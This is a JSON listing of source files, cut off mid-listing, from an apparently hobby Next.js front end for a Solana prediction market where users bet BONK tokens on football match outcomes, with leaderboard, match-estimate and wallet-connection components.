[
  {
    "path": ".eslintrc.json",
    "content": "{\n  \"extends\": \"next/core-web-vitals\"\n}\n"
  },
  {
    "path": ".gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n.yarn/install-state.gz\n\n# testing\n/coverage\n\n# next.js\n/.next/\n/out/\n\n# production\n/build\n\n# misc\n.DS_Store\n*.pem\n\n# debug\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# local env files\n.env*.local\n\n# vercel\n.vercel\n\n# typescript\n*.tsbuildinfo\nnext-env.d.ts\n"
  },
  {
    "path": "README.md",
    "content": "This is a [Next.js](https://nextjs.org/) project bootstrapped with [`create-next-app`](https://github.com/vercel/next.js/tree/canary/packages/create-next-app).\n\n## Getting Started\n\nFirst, run the development server:\n\n```bash\nnpm run dev\n# or\nyarn dev\n# or\npnpm dev\n# or\nbun dev\n```\n\nOpen [http://localhost:3000](http://localhost:3000) with your browser to see the result.\n\nYou can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file.\n\nThis project uses [`next/font`](https://nextjs.org/docs/basic-features/font-optimization) to automatically optimize and load Inter, a custom Google Font.\n\n## Learn More\n\nTo learn more about Next.js, take a look at the following resources:\n\n- [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API.\n- [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial.\n\nYou can check out [the Next.js GitHub repository](https://github.com/vercel/next.js/) - your feedback and contributions are welcome!\n\n## Deploy on Vercel\n\nThe easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js.\n\nCheck out our [Next.js deployment documentation](https://nextjs.org/docs/deployment) for more details.\n"
  },
  {
    "path": "app/layout.tsx",
    "content": "import \"@/styles/globals.css\";\nimport { Inter as FontSans } from \"next/font/google\";\n\nimport { cn } from \"@/lib/utils\";\nimport { Separator } from \"@/components/ui/separator\";\nimport Providers from \"./providers\";\nimport { NavBar } from \"@/components/nav-bar\";\nimport { Footer } from \"@/components/footer\";\n\nconst fontSans = FontSans({\n  subsets: [\"latin\"],\n  variable: \"--font-sans\",\n});\n\nexport default function RootLayout({\n  children,\n}: Readonly<{\n  children: React.ReactNode;\n}>) {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <head />\n      <body\n        className={cn(\n          \"flex flex-col min-h-screen bg-background font-sans antialiased\",\n          fontSans.variable\n        )}\n      >\n        <Providers>\n          <NavBar />\n          <Separator />\n          {children}\n        </Providers>\n        <Footer />\n      </body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "app/leaderboard/page.tsx",
    "content": "\"use client\";\n\nimport TableRow from \"@/components/TableRow\";\nimport { Skeleton } from \"@/components/ui/skeleton\";\nimport { useAllUserAccounts } from \"@/hooks/queries/useAllUserAccounts\";\nimport useAnchorProgram from \"@/hooks/useAnchorProgram\";\nimport { useWallet } from \"@solana/wallet-adapter-react\";\nimport React from \"react\";\n\nconst Leaderboard = () => {\n  const program = useAnchorProgram();\n  const { publicKey } = useWallet();\n  const { data: userScores, isLoading: isScoresLoading } =\n    useAllUserAccounts(program);\n\n  const rank = userScores?.findIndex(\n    (element) =>\n      element.account.userAddress.toBase58() === publicKey?.toBase58()\n  );\n\n  const scores = userScores?.map((account, i) => {\n    return {\n      number: i + 1,\n      name:\n        account.account.userAddress.toBase58().slice(0, 4) +\n        \"...\" +\n        account.account.userAddress.toBase58().slice(-4),\n      points: account.account.score.toFixed(2),\n      isGold: i == 0,\n      highlight: rank === i,\n    };\n  });\n\n  return (\n    <div className=\"h-full w-full min-h-screen flex items-center justify-center\">\n      <main className=\"w-[40rem] bg-white shadow-[0px_5px_15px_8px_#e4e7fb] flex flex-col items-center rounded-lg\">\n        <div\n          id=\"header\"\n          className=\"w-full flex items-center justify-between p-10\"\n        >\n          <h1 className=\"font-rubik text-[1.7rem] text-[#141a39] uppercase cursor-default\">\n            Ranking\n          </h1>\n        </div>\n        <div id=\"leaderboard\" className=\"w-full relative\">\n          <div className=\"w-full h-[5.5rem] bg-[#5c5be5] absolute top-[-0.5rem] shadow-[0px_15px_11px_-6px_#7a7a7d]\">\n            <div className=\"absolute bottom-[-0.8rem] left-[0.35rem] w-[1.5rem] h-[1.5rem] bg-[#5c5be5] rotate-45 z-[-1]\"></div>\n            <div className=\"absolute bottom-[-0.8rem] right-[0.35rem] w-[1.5rem] h-[1.5rem] bg-[#5c5be5] rotate-45 z-[-1]\"></div>\n          </div>\n          {scores == undefined ? (\n            <Skeleton />\n          ) : (\n            <table className=\"w-full border-collapse table-fixed text-[#141a39] cursor-default mb-20\">\n              {scores.map((row, index) => (\n                <TableRow key={index} {...row} />\n              ))}\n            </table>\n          )}\n        </div>\n      </main>\n    </div>\n  );\n};\n\nexport default Leaderboard;\n"
  },
  {
    "path": "app/match/[id]/page.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@/components/ui/button\";\nimport useAnchorProgram from \"@/hooks/useAnchorProgram\";\nimport { allMatches } from \"@/lib/dummyData\";\nimport { useConnection, useWallet } from \"@solana/wallet-adapter-react\";\nimport { useRouter } from \"next/navigation\";\nimport { FaArrowLeftLong } from \"react-icons/fa6\";\nimport Image from \"next/image\";\nimport { Slider } from \"@/components/ui/slider\";\nimport {\n  Area,\n  Brush,\n  CartesianGrid,\n  ComposedChart,\n  Line,\n  ResponsiveContainer,\n  Tooltip,\n  XAxis,\n  YAxis,\n} from \"recharts\";\nimport { useEffect, useState } from \"react\";\nimport { usePollById } from \"@/hooks/queries/usePollById\";\nimport { Skeleton } from \"@/components/ui/skeleton\";\nimport { useUserEstimateByPoll } from \"@/hooks/queries/useUserEstimateByPoll\";\nimport clsx from \"clsx\";\nimport { TbLoader2 } from \"react-icons/tb\";\nimport { useMakeEstimate } from \"@/hooks/mutations/useMakeEstimate\";\nimport { useUpdateEstimate } from \"@/hooks/mutations/useUpdateEstimate\";\nimport { useCollectPoints } from \"@/hooks/mutations/useCollectPoints\";\nimport { useUserScore } from \"@/hooks/queries/useUserScore\";\nimport MarketStats from \"@/components/market-stats\";\nimport { useEstimateUpdatesByPoll } from \"@/hooks/queries/useEstimateUpdatesByPoll\";\nimport { Avatar, AvatarImage } from \"@/components/ui/avatar\";\n\nconst Match = ({ params }: { params: { id: string } }) => {\n  const router = useRouter();\n  const program = useAnchorProgram();\n  const { connection } = useConnection();\n  const wallet = useWallet();\n\n  const matchId = Number.parseInt(params.id) - 1;\n  const match = allMatches[matchId];\n\n  const { data: poll, isLoading: isLoadingPoll } = usePollById(\n    program,\n    matchId,\n    true\n  );\n\n  const { data: estimateUpdates } = useEstimateUpdatesByPoll(\n    program,\n    matchId,\n    wallet.publicKey\n  );\n\n  const [brushStartIndex, setBrushStartIndex] = useState<number>();\n  const [brushEndIndex, setBrushEndIndex] = useState<number>();\n\n  const handleBrushChange = ({\n    startIndex,\n    endIndex,\n  }: {\n    startIndex?: number;\n    endIndex?: number;\n  }) => {\n    setBrushStartIndex(startIndex);\n    setBrushEndIndex(endIndex);\n  };\n  const {\n    data: userEstimate,\n    isError: isErrorEstimate,\n    error: errorEstimate,\n    isLoading: isLoadingEstimate,\n  } = useUserEstimateByPoll(\n    program,\n    connection,\n    wallet.publicKey,\n    matchId,\n    true\n  );\n\n  const [estimate, setEstimate] = useState(\n    userEstimate !== null && userEstimate !== undefined\n      ? (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2\n      : undefined\n  );\n\n  const { mutate: submitEstimate, isPending: isSubmitting } = useMakeEstimate(\n    program,\n    connection,\n    wallet\n  );\n  const { mutate: updateEstimate, isPending: isUpdating } = useUpdateEstimate(\n    program,\n    connection,\n    wallet\n  );\n  const { mutate: collectPoints, isPending: isCollecting } = useCollectPoints(\n    program,\n    connection,\n    wallet\n  );\n\n  const { data: userScore, isLoading: isLoadingScore } = useUserScore(\n    program,\n    connection,\n    wallet.publicKey,\n    matchId,\n    true\n  );\n\n  useEffect(() => {\n    if (userEstimate !== null && userEstimate !== undefined) {\n      setEstimate(\n        (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2\n      );\n    }\n  }, [userEstimate]);\n\n  const handleChange = (estimate: [number]) => {\n    setEstimate(estimate[0]);\n  };\n\n  return (\n    <main className=\"flex min-h-screen flex-col justify-start items-start px-4 sm:px-12 lg:px-16 py-4 sm:py-8 w-full\">\n      <Button\n        onClick={() => router.back()}\n        variant={\"ghost\"}\n        className=\"p-0 hover:bg-transparent\"\n      >\n        <FaArrowLeftLong />\n      </Button>\n      <div className=\"flex flex-col md:flex-row w-full gap-4\">\n        <div className=\"basis-2/3\">\n          <div className=\"text-lg font-medium mt-8\">{match.date}</div>\n          <div className=\"flex flex-col items-start gap-4 mt-2\">\n            <div className=\"flex items-center gap-4 w-60\">\n              <Image\n                width={36}\n                height={27}\n                alt=\"Flag of team A\"\n                src={\n                  match.logoA ? match.logoA : \"https://via.placeholder.com/50\"\n                }\n              />\n              <div className=\"text-xl font-bold\">{match.teamA}</div>\n              <span className=\"text-lg font-bold ml-auto\">{match.resultA}</span>\n            </div>\n            <div className=\"flex items-center gap-4 w-60\">\n              <Image\n                width={36}\n                height={27}\n                alt=\"Flag of team B\"\n                src={\n                  match.logoB ? match.logoB : \"https://via.placeholder.com/50\"\n                }\n              />\n              <div className=\"text-xl font-bold\">{match.teamB}</div>\n              <span className=\"text-lg font-bold ml-auto\">{match.resultB}</span>\n            </div>\n          </div>\n          <div className=\"text-2xl font-bold mt-8\">{`Will ${match.teamA} win against ${match.teamB}?`}</div>\n          {/* {poll ? (\n            <div className=\"text-2xl font-bold mt-8\">{poll?.question}</div>\n          ) : (\n            <Skeleton />\n          )} */}\n          <div className=\"flex w-40 justify-between\">\n            <p className=\"block text-sm\">Market Prediction:</p>\n            <p className=\"text-sm font-bold\">\n              {poll && poll.collectiveEstimate !== null\n                ? (poll.collectiveEstimate / 10000).toFixed(0) + \"%\"\n                : \"-\"}\n            </p>\n          </div>\n          <div className=\"flex w-40 justify-between\">\n            <p className=\"block text-sm\">Your Prediction:</p>\n            <p\n              className={clsx(\n                \"text-sm font-bold\",\n                estimate !== userEstimate?.lowerEstimate\n                  ? \"dark:text-yellow-300\"\n                  : \"\"\n              )}\n            >\n              {estimate !== undefined ? estimate + \"%\" : \"-\"}\n            </p>\n          </div>\n          <div className=\"flex w-5/6 sm:w-1/2 md:w-2/3 gap-4 items-center my-4\">\n            <Slider\n              className=\"hover:cursor-pointer\"\n              onValueChange={handleChange}\n              value={[estimate !== undefined ? estimate : 50]}\n              min={0}\n              max={100}\n              step={1}\n              disabled={poll?.result !== null}\n            />\n            <Button\n              variant={\"secondary\"}\n              disabled={poll?.result !== null}\n              size={\"sm\"}\n              onClick={() => {\n                if (userEstimate !== null && userEstimate !== undefined) {\n                  setEstimate(\n                    (userEstimate.lowerEstimate + userEstimate.upperEstimate) /\n                      2\n                  );\n                } else {\n                  setEstimate(undefined);\n                }\n              }}\n            >\n              Reset\n            </Button>\n          </div>\n          {isLoadingPoll ? (\n            <Skeleton className=\"w-40 h-9 rounded-md\" />\n          ) : poll?.result !== null ? (\n            userScore === null || userScore === undefined || isLoadingScore ? (\n              <div>\n                {poll !== undefined ? (\n                  poll.result ? (\n                    <div className=\"text-primary font-bold\">\n                      {match.teamA} won!\n                    </div>\n                  ) : (\n                    <div className=\"text-primary font-bold\">\n                      {match.teamA} did not win!\n                    </div>\n                  )\n                ) : (\n                  \"\"\n                )}\n              </div>\n            ) : (\n              <Button\n                disabled={isCollecting}\n                className=\"w-fit\"\n                onClick={() => collectPoints({ pollId: matchId })}\n              >\n                {isCollecting && (\n                  <TbLoader2 className=\"mr-2 h-4 w-4 animate-spin\" />\n                )}\n                Withdraw your funds\n              </Button>\n            )\n          ) : userEstimate !== undefined && userEstimate !== null ? (\n            <Button\n              disabled={\n                isUpdating ||\n                (estimate === userEstimate.lowerEstimate &&\n                  estimate === userEstimate.upperEstimate)\n              }\n              className=\"w-fit\"\n              onClick={() =>\n                updateEstimate({\n                  pollId: matchId,\n                  lowerEstimate: estimate,\n                  upperEstimate: estimate,\n                })\n              }\n            >\n              {isUpdating && (\n                <TbLoader2 className=\"mr-2 h-4 w-4 animate-spin\" />\n              )}\n              Update Estimate\n            </Button>\n          ) : (\n            <div className=\"flex gap-4\">\n              <Button\n                disabled={isSubmitting || estimate === undefined}\n                className=\"font-bold rounded w-fit\"\n                onClick={() =>\n                  submitEstimate({\n                    pollId: matchId,\n                    lowerEstimate: estimate,\n                    upperEstimate: estimate,\n                  })\n                }\n              >\n                {isSubmitting && (\n                  <TbLoader2 className=\"mr-2 h-4 w-4 animate-spin\" />\n                )}\n                Bet 100 BONK\n              </Button>\n              <Avatar>\n                <AvatarImage src={\"/bonk_poe.png\"} />\n              </Avatar>\n            </div>\n          )}\n        </div>\n        <MarketStats\n          matchId={matchId}\n          profitScore={\n            poll?.result !== null &&\n            userEstimate !== null &&\n            userEstimate !== undefined &&\n            userEstimate.payoutScore\n              ? ((userEstimate.payoutScore - 1) * 100).toFixed(2)\n              : \"\"\n          }\n          reputationScore={\n            poll?.result !== null &&\n            userEstimate !== null &&\n            userEstimate !== undefined &&\n            userEstimate.reputationScore\n              ? userEstimate.reputationScore?.toFixed(2)\n              : \"\"\n          }\n        />\n      </div>\n      <div className=\"w-full border rounded-lg p-8 mt-8\">\n        <ResponsiveContainer width=\"100%\" height={400}>\n          <ComposedChart data={estimateUpdates}>\n            <CartesianGrid strokeDasharray=\"3 3\" />\n            <XAxis\n              dataKey=\"name\"\n              type=\"number\"\n              domain={[]}\n              tickFormatter={(number) =>\n                new Date(number * 1000).toLocaleString()\n              }\n              tickCount={10}\n            />\n            <YAxis />\n            <Tooltip\n              contentStyle={{\n                backgroundColor: \"hsl(var(--primary))\",\n              }}\n              itemStyle={{ color: \"hsl(var(--primary-foreground))\" }}\n              labelStyle={{ color: \"hsl(var(--primary-foreground))\" }}\n              formatter={(value, name, prop) => {\n                switch (name) {\n                  case \"confidenceInterval\":\n                    return [undefined, undefined];\n                  case \"estimate\":\n                    const interval =\n                      prop.payload.confidenceInterval[1] -\n                      prop.payload.confidenceInterval[0];\n                    return [\n                      Number(value).toFixed(2) +\n                        \"%  ± \" +\n                        (interval / 2).toFixed(1) +\n                        \"%\",\n                      \"Market Prediction\",\n                    ];\n\n                  default:\n                    return [undefined, undefined];\n                }\n              }}\n              labelFormatter={(label) =>\n                new Date(label * 1000).toLocaleString()\n              }\n            />\n\n            <Area\n              type=\"monotone\"\n              dataKey=\"confidenceInterval\"\n              fill=\"hsl(var(--primary))\"\n              opacity={0.2}\n              stroke=\"#ffffff00\"\n              activeDot={false}\n              isAnimationActive={false}\n            />\n            <Line\n              dot={false}\n              type=\"linear\"\n              dataKey=\"estimate\"\n              stroke=\"hsl(var(--primary))\"\n              isAnimationActive={false}\n            />\n            <Brush\n              dataKey=\"name\"\n              height={30}\n              stroke=\"#8884d8\"\n              onChange={handleBrushChange}\n              startIndex={brushStartIndex}\n              endIndex={brushEndIndex}\n              tickFormatter={(number) =>\n                new Date(number * 1000).toLocaleString()\n              }\n            />\n          </ComposedChart>\n        </ResponsiveContainer>\n      </div>\n      <div className=\"mt-16 text-xl font-bold\">Details</div>\n      <div className=\"pt-4 pb-16 text-lg w-full sm:w-5/6 md:w-1/2\">\n        This market will resolve to true if {match.teamA} wins against{\" \"}\n        {match.teamB}. In any other case, e.g. a draw, {match.teamB} wins or the\n        game is canceled, this market will resolve to false.\n      </div>\n    </main>\n  );\n};\n\nexport default Match;\n"
  },
  {
    "path": "app/page.tsx",
    "content": "\"use client\";\nimport { MatchCard } from \"@/components/match-card\";\nimport { MatchDay } from \"@/components/match-day\";\nimport QuickTourDialog from \"@/components/quick-tour-dialog\";\nimport SideNav from \"@/components/sidenav\";\nimport { Button } from \"@/components/ui/button\";\nimport { Skeleton } from \"@/components/ui/skeleton\";\nimport { Tabs, TabsContent, TabsList, TabsTrigger } from \"@/components/ui/tabs\";\nimport { useRegisterUser } from \"@/hooks/mutations/useRegisterUser\";\nimport { useAllPolls } from \"@/hooks/queries/useAllPolls\";\nimport { useUserAccount } from \"@/hooks/queries/useUserAccount\";\nimport { useTabsStore } from \"@/hooks/states/useTabStore\";\nimport useAnchorProgram from \"@/hooks/useAnchorProgram\";\nimport {\n  matchesFirstMatchDay,\n  matchesSecondMatchday,\n  matchesThirdMatchday,\n  matchesRound16,\n  matchesQuarterFinals,\n  matchesSemiFinals,\n  matchesFinal,\n  allMatches,\n} from \"@/lib/dummyData\";\nimport { ChevronDownIcon } from \"@radix-ui/react-icons\";\nimport { useConnection, useWallet } from \"@solana/wallet-adapter-react\";\nimport { useEffect, useState } from \"react\";\nimport { FaChevronUp } from \"react-icons/fa6\";\n\nexport default function App() {\n  const program = useAnchorProgram();\n  const { connection } = useConnection();\n  const wallet = useWallet();\n\n  const { data: userAccount, isLoading: isScoreLoading } = useUserAccount(\n    program,\n    connection,\n    wallet.publicKey\n  );\n\n  const { data: allPolls, isLoading: isAllPollsLoading } = useAllPolls(program);\n\n  // const nextMarketIndex = allPolls?.filter((p) => {\n  //   return p.result !== null;\n  // }).length;\n\n  // const comingMatches = allMatches.filter((match) => {\n  //   const index = nextMarketIndex ?? 0;\n  //   return Number.parseInt(match.id) - 1 > index;\n  // });\n\n  const [isVisible, setIsVisible] = useState(false);\n\n  const tab = useTabsStore((state) => state.tab);\n  const setTab = useTabsStore((state) => state.setTab);\n\n  useEffect(() => {\n    const handleScroll = () => {\n      setIsVisible(window.scrollY > 1000);\n    };\n\n    window.addEventListener(\"scroll\", handleScroll);\n\n    return () => {\n      window.removeEventListener(\"scroll\", handleScroll);\n    };\n  }, []);\n\n  const { mutate: registerUser } = useRegisterUser(program, connection, wallet);\n  return (\n    <div className=\"flex\">\n      <aside className=\"hidden md:block md:min-w-20 md:w-1/5\">\n        <SideNav />\n      </aside>\n      <main className=\"flex w-full min-h-screen flex-col items-center justify-between p-4 sm:p-12\">\n        <div className=\"block sm:hidden mb-2\">\n          <QuickTourDialog />\n          {wallet.publicKey && userAccount === null && !isScoreLoading && (\n            <Button className=\"sm:hidden ml-4\" onClick={() => registerUser()}>\n              Mint BONK\n            </Button>\n          )}\n        </div>\n\n        {/* <div className=\"text-4xl font-bold mb-4\">Next Match</div> */}\n\n        {/* {nextMarketIndex ? (\n          <MatchCard match={allMatches[nextMarketIndex]} />\n        ) : (\n          <Skeleton className=\"h-[350px] w-[400px] rounded-xl\" />\n        )} */}\n        <AllMatches />\n        {/* <Tabs\n          value={tab}\n          onValueChange={setTab}\n          className=\"w-full mx-auto my-8 text-center\"\n        >\n          <TabsList>\n            <TabsTrigger value=\"all\">All Matches</TabsTrigger>\n            <TabsTrigger value=\"coming\">Coming Matches</TabsTrigger>\n          </TabsList>\n          <TabsContent value=\"all\">\n            <AllMatches />\n          </TabsContent>\n          <TabsContent value=\"coming\">\n            <MatchDay\n              id=\"coming\"\n              title=\"Coming Matches\"\n              matches={comingMatches}\n            />\n          </TabsContent>\n        </Tabs> */}\n      </main>\n      {isVisible && (\n        <aside className=\"right-8 bottom-16 fixed\">\n          <Button\n            variant=\"outline\"\n            size=\"icon\"\n            onClick={() => {\n              window.scrollTo({\n                top: 0,\n                behavior: \"smooth\",\n              });\n            }}\n          >\n            <FaChevronUp />\n          </Button>\n        </aside>\n      )}\n\n      {wallet.publicKey && userAccount === null && !isScoreLoading && (\n        <aside className=\"hidden sm:block right-4 pt-8 fixed\">\n          <Button onClick={() => registerUser()}>Mint BONK</Button>\n        </aside>\n      )}\n    </div>\n  );\n}\n\nconst AllMatches = () => {\n  return (\n    <>\n      <MatchDay\n        id=\"matchday1\"\n        title=\"Matchday 1\"\n        matches={matchesFirstMatchDay}\n      />\n      <MatchDay\n        id=\"matchday2\"\n        title=\"Matchday 2\"\n        matches={matchesSecondMatchday}\n      />\n      <MatchDay\n        id=\"matchday3\"\n        title=\"Matchday 3\"\n        matches={matchesThirdMatchday}\n      />\n      <MatchDay id=\"round16\" title=\"Round of 16\" matches={matchesRound16} />\n      <MatchDay\n        id=\"quarter\"\n        title=\"Quarter Finals\"\n        matches={matchesQuarterFinals}\n      />\n      <MatchDay id=\"semi\" title=\"Semi Finals\" matches={matchesSemiFinals} />\n      <MatchDay id=\"final\" title=\"Final\" matches={matchesFinal} />\n    </>\n  );\n};\n"
  },
  {
    "path": "app/providers.tsx",
    "content": "\"use client\";\n\nimport { ThemeProvider } from \"@/components/ui/theme-provider\";\nimport { ContextProvider } from \"@/contexts/ContextProvider\";\nimport { QueryClient, QueryClientProvider } from \"@tanstack/react-query\";\nimport { ReactQueryDevtools } from \"@tanstack/react-query-devtools\";\nimport { useState } from \"react\";\n\nexport default function Providers({ children }: { children: React.ReactNode }) {\n  const [queryClient] = useState(\n    () =>\n      new QueryClient({\n        defaultOptions: {\n          queries: {\n            // With SSR, we usually want to set some default staleTime\n            // above 0 to avoid refetching immediately on the client\n            staleTime: 60 * 1000,\n          },\n        },\n      })\n  );\n\n  return (\n    <ContextProvider>\n      <ThemeProvider\n        attribute=\"class\"\n        defaultTheme=\"system\"\n        enableSystem\n        disableTransitionOnChange\n      >\n        <QueryClientProvider client={queryClient}>\n          {children}\n          <ReactQueryDevtools initialIsOpen={false} />\n        </QueryClientProvider>\n      </ThemeProvider>\n    </ContextProvider>\n  );\n}\n"
  },
  {
    "path": "components/TableRow.tsx",
    "content": "import { cn } from \"@/lib/utils\";\nimport Image from \"next/image\";\nimport React from \"react\";\n\ninterface TableRowProps {\n  number: number;\n  name: string;\n  points: string;\n  isGold?: boolean;\n  highlight: boolean;\n}\n\nconst TableRow: React.FC<TableRowProps> = ({\n  number,\n  name,\n  points,\n  isGold,\n  highlight,\n}) => {\n  const hoverClasses =\n    highlight && number !== 1\n      ? \"sm:scale-110 shadow-[0px_5px_15px_8px_#e4e7fb] !bg-yellow-300 \"\n      : \"\";\n\n  return (\n    <tr\n      className={cn(\n        \"bg-white odd:bg-gray-100 transition-all duration-200 ease-in-out rounded-md\",\n        hoverClasses\n      )}\n    >\n      <td className=\"h-[5rem] font-rubik text-[2.2rem] font-bold text-left\">\n        {number}\n      </td>\n      <td className=\"h-[5rem] font-rubik text-[1.2rem] text-left\">{name}</td>\n      <td className=\"h-[5rem] font-rubik text-[1.3rem] font-bold flex justify-end items-center\">\n        {points}\n        {isGold && (\n          <Image\n            width={50}\n            height={50}\n            className=\"h-[3rem] ml-[1.5rem] hidden sm:block\"\n            src=\"https://github.com/malunaridev/Challenges-iCodeThis/blob/master/4-leaderboard/assets/gold-medal.png?raw=true\"\n            alt=\"gold medal\"\n          />\n        )}\n      </td>\n    </tr>\n  );\n};\n\nexport default TableRow;\n"
  },
  {
    "path": "components/connect-wallet-button.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"./ui/button\";\nimport {\n  DropdownMenu,\n  DropdownMenuContent,\n  DropdownMenuGroup,\n  DropdownMenuItem,\n  DropdownMenuSeparator,\n  DropdownMenuTrigger,\n} from \"./ui/dropdown-menu\";\nimport {\n  useAnchorWallet,\n  useConnection,\n  useWallet,\n} from \"@solana/wallet-adapter-react\";\nimport { useWalletModal } from \"@solana/wallet-adapter-react-ui\";\nimport { RiArrowDropDownLine } from \"react-icons/ri\";\nimport { TbCopy } from \"react-icons/tb\";\nimport { toast } from \"./ui/use-toast\";\nimport {\n  Tooltip,\n  TooltipContent,\n  TooltipProvider,\n  TooltipTrigger,\n} from \"./ui/tooltip\";\nimport useAnchorProgram from \"@/hooks/useAnchorProgram\";\nimport { Skeleton } from \"./ui/skeleton\";\nimport { useUserAccount } from \"@/hooks/queries/useUserAccount\";\nimport { useUserSolBalance } from \"@/hooks/queries/useUserSolBalance\";\nimport { FaWallet } from \"react-icons/fa\";\nimport { useUserBonkBalance } from \"@/hooks/queries/useUserBonkBalance\";\nimport { useRegisterUser } from \"@/hooks/mutations/useRegisterUser\";\nimport { useAllUserAccounts } from \"@/hooks/queries/useAllUserAccounts\";\nimport { useAirdropSol } from \"@/hooks/mutations/useAirdropSol\";\n\nconst ConnectWalletButton = () => {\n  const wallet = useWallet();\n  const anchorWallet = useAnchorWallet();\n  const { disconnect, connected, publicKey } = useWallet();\n  const program = useAnchorProgram();\n  const { connection } = useConnection();\n  const { setVisible } = useWalletModal();\n\n  const { data: userAccount, isLoading: isAccountLoading } = useUserAccount(\n    program,\n    connection,\n    publicKey\n  );\n\n  const { data: allScores, isLoading: isScoresLoading } =\n    useAllUserAccounts(program);\n\n  const rank = allScores?.findIndex(\n    (element) =>\n      element.account.userAddress.toBase58() === wallet.publicKey?.toBase58()\n  );\n\n  const { data: solBalance, isLoading: isSolBalanceLoading } =\n    useUserSolBalance(connection, wallet?.publicKey ?? null);\n\n  const { data: bonkBalance, isLoading: isBonkBalanceLoading } =\n    useUserBonkBalance(program, connection, wallet?.publicKey ?? null);\n\n  const { mutate: registerUser, isPending: isMintingBonkPending } =\n    useRegisterUser(program, connection, wallet);\n\n  const { mutate: airdropSol, isPending: isAirdropPending } = useAirdropSol(\n    connection,\n    wallet\n  );\n\n  if (!connected) {\n    return (\n      <Button\n        onClick={() => {\n          setVisible(true);\n        }}\n      >\n        <div className=\"flex gap-2 items-center\">\n          <FaWallet />\n          <div className=\"hidden sm:block\">Connect wallet</div>\n        </div>\n      </Button>\n    );\n  }\n\n  return (\n    <DropdownMenu>\n      <DropdownMenuTrigger asChild>\n        <Button>\n          <div className=\"flex gap-2 items-center\">\n            <FaWallet className=\"sm:hidden\" />\n            <div className=\"hidden sm:block\">Connected</div>\n          </div>\n          <RiArrowDropDownLine className=\"text-xl ml-2\" />\n        </Button>\n      </DropdownMenuTrigger>\n      <DropdownMenuContent className=\"w-56\" align=\"end\" forceMount>\n        <DropdownMenuItem className=\"font-normal\">\n          {anchorWallet && (\n            <TooltipProvider delayDuration={200}>\n              <Tooltip>\n                <TooltipTrigger>\n                  <div\n                    className=\"flex\"\n                    onClick={() => {\n                      navigator.clipboard.writeText(\n                        anchorWallet.publicKey?.toBase58() ?? \"\"\n                      );\n                      toast({ variant: \"default\", title: \"Copied!\" });\n                    }}\n                  >\n                    <div>\n                      {anchorWallet?.publicKey?.toBase58().slice(0, 4) +\n                        \"...\" +\n                        anchorWallet?.publicKey?.toBase58().slice(-4)}\n                    </div>\n                    <TbCopy className=\"ml-2\" />\n                  </div>\n                </TooltipTrigger>\n                <TooltipContent side=\"left\">\n                  <div>{wallet?.publicKey?.toBase58()}</div>\n                </TooltipContent>\n              </Tooltip>\n            </TooltipProvider>\n          )}\n        </DropdownMenuItem>\n\n        <DropdownMenuSeparator />\n        <DropdownMenuGroup>\n          <div className=\"border rounded-md py-2 px-1 my-2\">\n            <div className=\"flex flex-col mx-2 gap-2 text-sm\">\n              <div className=\"flex items-center justify-between\">\n                <div>Score:</div>\n                {!isAccountLoading ? (\n                  userAccount ? (\n                    <div>{userAccount.score.toFixed(2)}</div>\n                  ) : (\n                    <div>100.0</div>\n                  )\n                ) : (\n                  <Skeleton className=\"w-6 h-4 rounded-md\" />\n                )}\n              </div>\n              <div className=\"flex items-center justify-between\">\n                <div>Rank:</div>\n                {!isScoresLoading ? (\n                  rank !== undefined ? (\n                    <div>{rank + 1}</div>\n                  ) : (\n                    <div>-</div>\n                  )\n                ) : (\n                  <Skeleton className=\"w-6 h-4 rounded-md\" />\n                )}\n              </div>\n              <div className=\"flex items-center justify-between\">\n                <div>Bonk Balance:</div>\n                {userAccount === null && !isAccountLoading ? (\n                  <Button\n                    size={\"xs\"}\n                    disabled={isMintingBonkPending}\n                    onClick={() => registerUser()}\n                    className=\"flex text-center justify-center text-xs\"\n                  >\n                    Mint\n                  </Button>\n                ) : !isBonkBalanceLoading ? (\n                  <div>{bonkBalance?.toFixed(2)}</div>\n                ) : (\n                  <Skeleton className=\"w-6 h-4 rounded-md\" />\n                )}\n              </div>\n              <div className=\"flex items-center justify-between\">\n                <div>Sol Balance:</div>\n                {solBalance !== undefined ? (\n                  solBalance > 0.01 ? (\n                    <div>{solBalance?.toFixed(2)}</div>\n                  ) : (\n                    <Button\n                      size={\"xs\"}\n                      disabled={isAirdropPending}\n                      onClick={() => airdropSol()}\n                      className=\"flex text-center justify-center text-xs\"\n                    >\n                      Mint Sol\n                    </Button>\n                  )\n                ) : (\n                  <Skeleton className=\"w-6 h-4 rounded-md\" />\n                )}\n              </div>\n            </div>\n          </div>\n        </DropdownMenuGroup>\n        {wallet && (\n          <>\n            <DropdownMenuSeparator />\n            <DropdownMenuItem\n              onClick={disconnect}\n              className=\"hover:cursor-pointer\"\n            >\n              Disconnect\n            </DropdownMenuItem>\n          </>\n        )}\n      </DropdownMenuContent>\n    </DropdownMenu>\n  );\n};\n\nexport default ConnectWalletButton;\n"
  },
  {
    "path": "components/dark-mode-toggle.tsx",
